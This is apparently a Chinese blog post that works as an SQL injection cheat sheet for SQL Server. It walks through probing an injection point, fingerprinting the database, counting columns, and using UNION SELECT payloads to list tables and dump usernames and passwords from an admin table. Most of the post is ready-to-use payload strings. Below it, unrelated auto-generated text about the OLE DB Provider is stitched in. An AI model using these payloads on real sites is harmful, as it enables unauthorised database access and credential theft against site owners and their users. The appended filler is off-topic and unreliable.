SQL注入--sql server

谈到SQL注入,不得不提它的本质,把用户的输入数据当做代码来执行。两个关键条件,第一个是用户能够控制的输入;第二个是程序要执行的代码,拼接了用户输入的数据

按照注入的技术类型可分解为:

显错注入和盲注入,其中盲注入可分为,联合查询注入,堆查询注入,DNS查询注入,报错注入,延时注入和布尔注入。这篇文章重点在分享一些联合查询注入的命令


1.首先来判断注入点(URL类)

当目标URL为:www.target.com/1.php?id=88时,来进行简单的注入点判断;

www.target.com/1.php?id=88-0 无变化
www.target.com/1.php?id=88-1 报错


www.target.com/1.php?id=88 and 1=1 无变化
www.target.com/1.php?id=88-1 and 1=2 报错

2.判断是何种数据库
URL+/*!%20s*/ 错误则是MySQL;URL+/*pc 正常为MySQL

URL+and exists(select @@version)-- 正常为SQL Server

3.SQL Server 2008注入过程

判断字段数:

id=1/**/Order/**/By/**/5/**/-- 正常则字段数≥5      --和/**/均为注释用来注释执行语句时的代码 保证注入代码正常执行
id=1/**/Order/**/By/**/6/**/-- 错误则字段数<6

判断数据类型,字符型就可以SQL注入了

id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--   正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--    正常
(一位一位去尝试)

显示数据库版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--

当前库名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--

指定库表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from库名..sysobjects where xtype='u' and name not in(select top 0 name from 库名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--

当前库查询表

and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--     //第二个top从0开始输入 1,2,....列出当前库所有表名

查询admin变内的字段

d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二个top从0开始遍历

查看admin变字段id,username,password的内容

id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--

webshell写入和系统命令执行就不能再分享了





  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL Server OLE DB Provider是一个用于连接和访问SQL Server数据库的数据提供程序。它是由Microsoft开发的,为了方便开发人员在多种编程环境中与SQL Server数据库进行交互而设计。 SQL Server OLE DB Provider可以与各种编程语言和开发工具一起使用,包括Visual Basic、C#、ASP.NET等。它提供了一系列的接口和方法,使得开发人员可以方便地执行数据库操作,如查询、插入、更新和删除数据。 通过SQL Server OLE DB Provider,开发人员可以使用SQL语言来编写和执行数据库查询。它还支持事务处理和存储过程等高级功能,使得开发人员可以更加灵活和高效地操作数据库。 SQL Server OLE DB Provider还提供了一些性能优化的功能,例如连接池和命令缓存。连接池允许开发人员重复使用数据库连接,以减少连接的开销。命令缓存可以缓存已执行的命令,以加快后续执行同样命令的速度。 总之,SQL Server OLE DB Provider是一个强大而灵活的数据提供程序,可以帮助开发人员快速、高效地与SQL Server数据库进行交互。无论是小型的个人项目还是大型的企业应用,它都是一个非常有用的工具。 ### 回答2: SQL Server OLE DB Provider是一种用于连接和访问SQL Server数据库的数据访问技术。它是SQL Server提供的一种OLE DB驱动程序,用于支持通过OLE DB接口进行数据库操作。 SQL Server OLE DB Provider的使用可以通过编程语言(如C#、VB.Net等)来实现。首先,需要通过连接字符串指定要连接的SQL Server数据库的相关信息,如服务器名称、数据库名称、身份验证方式等。然后,使用Connection对象建立与数据库的连接。接下来,可以使用Command对象执行SQL语句,如查询、插入、更新、删除等操作。执行SQL语句后,可以通过DataReader对象来读取和处理查询结果。最后,使用Connection对象关闭与数据库的连接。 SQL Server OLE DB Provider可以提供高性能的数据访问能力,并且支持灵活的数据操作。它还提供了一些高级特性,如事务处理、命令缓存、数据缓存等,可以提升数据库操作的效率和性能。此外,SQL Server OLE DB Provider还支持参数化查询,可以防止SQL注入攻击,并且提供了一些其他的安全特性,如加密通信等。 总而言之,SQL Server OLE DB Provider是一种可靠和高效的数据库访问技术,适用于连接和操作SQL Server数据库。通过合理的使用,可以实现对数据库的快速和可靠的访问,并提供了丰富的功能和特性来支持开发人员的需求。 ### 回答3: SQL Server OLE DB Provider是一种用于连接和访问SQL Server数据库的OLE DB提供程序。OLE DB是一种面向组件的数据访问技术,允许应用程序通过一组统一的API连接到不同的数据源,包括SQL ServerSQL Server OLE DB Provider提供了一个强大的接口,使开发人员能够使用SQL Server数据库进行高效的数据访问。它支持基本的数据操作(如插入、更新、删除和查询),还提供了事务处理的功能,可以保证数据的一致性和完整性。 使用SQL Server OLE DB Provider,开发人员可以编写基于SQL语言的查询来查询和操作数据库中的数据。他们可以使用标准的ADO(ActiveX Data Objects)对象模型来进行数据访问和操作,这使得编写和维护数据访问代码变得更加简单和方便。 除了支持标准的数据操作功能,SQL Server OLE DB Provider还提供了一些高级功能,如连接池、命令参数化、异步查询和分布式查询。这些功能可以提高数据访问的性能和灵活性,并帮助开发人员更好地管理和优化数据库操作。 总之,SQL Server OLE DB Provider是一种在应用程序中连接和访问SQL Server数据库的重要工具。它提供了强大的功能和灵活性,使开发人员能够高效地处理和管理数据库中的数据。如果您需要与SQL Server数据库进行交互,使用SQL Server OLE DB Provider将是一个很好的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值